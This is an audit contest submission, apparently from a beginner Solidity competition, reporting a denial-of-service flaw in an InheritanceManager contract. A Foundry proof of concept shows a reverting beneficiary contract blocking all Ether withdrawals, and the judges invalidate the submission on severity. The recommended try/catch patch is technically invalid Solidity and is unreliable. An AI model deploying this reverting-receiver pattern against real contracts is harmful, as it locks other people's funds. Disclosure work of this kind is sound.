Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Invalid

Denial of service Attack on Ether Funds

Summary

After the InheritanceManager contract deployed and consider if owner has multiple beneficiaries and if one of the contract is malicious. If owner has lost his private key and after 90 days no one can able to withdraw the Ether forever .

Vulnerability Details

In withdrawInheritedFunds function malicious beneficiary can attack this contract to loose Ether forever

(bool success,) = beneficiary.call{value: amountPerBeneficiary}("");


POC

contract InheritanceManagerTest is Test {
DdosContract ddosContract;
address owner = makeAddr("owner");
address user1 = makeAddr("user1");
address hackAddr = makeAddr("hackAddr");
function setUp() public {
vm.prank(owner);
im = new InheritanceManager();
ddosContract = new DdosContract();
}
function testDdosAttack() public {
vm.startPrank(owner);
im.addBeneficiery(user1);
im.addBeneficiery(address(ddosContract));
vm.stopPrank();
vm.startPrank(hackAddr);
vm.warp(91 days);
im.inherit();
// this will revert always and no one can withdraw
vm.expectRevert();
im.withdrawInheritedFunds(address(0));
vm.stopPrank();
}
}
contract DdosContract {
error Ddos();
receive() external payable {
revert Ddos();
}
}


Impact - Higth

Tools Used

  • Foundry

Recommendations

Adding a try catch for external calls like this

function withdrawInheritedFunds(address _asset) external {
if (!isInherited) {
revert NotYetInherited();
}
uint256 divisor = beneficiaries.length;
if (_asset == address(0)) {
uint256 ethAmountAvailable = address(this).balance;
uint256 amountPerBeneficiary = ethAmountAvailable / divisor;
for (uint256 i = 0; i < divisor; i++) {
address payable beneficiary = payable(beneficiaries[i]);
- (bool success,) = beneficiary.call{value: amountPerBeneficiary}("");
+ try beneficiary.call{value: amountPerBeneficiary}("") { // emit success event }
+ catch { // log failure and continue execution }
require(success, "something went wrong");
}
} else {
uint256 assetAmountAvailable = IERC20(_asset).balanceOf(address(this));
uint256 amountPerBeneficiary = assetAmountAvailable / divisor;
for (uint256 i = 0; i < divisor; i++) {
IERC20(_asset).safeTransfer(beneficiaries[i], amountPerBeneficiary);
}
}
}
Updates

Lead Judging Commences

0xtimefliez Lead Judge 9 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!